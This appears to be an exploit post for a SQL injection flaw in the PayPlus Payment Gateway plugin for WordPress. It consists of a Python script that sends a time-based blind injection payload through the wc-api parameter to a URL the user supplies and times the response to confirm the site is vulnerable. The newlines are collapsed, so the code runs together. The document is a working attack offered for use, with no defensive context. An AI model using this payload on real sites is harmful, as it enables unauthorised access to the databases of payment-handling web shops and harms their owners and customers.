WordPress PayPlus Payment Gateway SQL Injection

#!/usr/bin/env python3.11import requestsimport timedef exploit(url):    payload = {"wc-api": "payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)"}    start = time.time()    with requests.Session() as session:        session.headers.update({            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'        })        response = requests.get(url, params=payload)        print(f"Exploiting {url}...")        end = time.time()        print(response.status_code)        response_time = end - start        print(f"Response time: {response_time}...")if __name__ == "__main__":    url = input("Enter the vulnerable URL (e.g., https://test.site): ")    if not url.startswith("http"):        url = "http://" + url    exploit(url)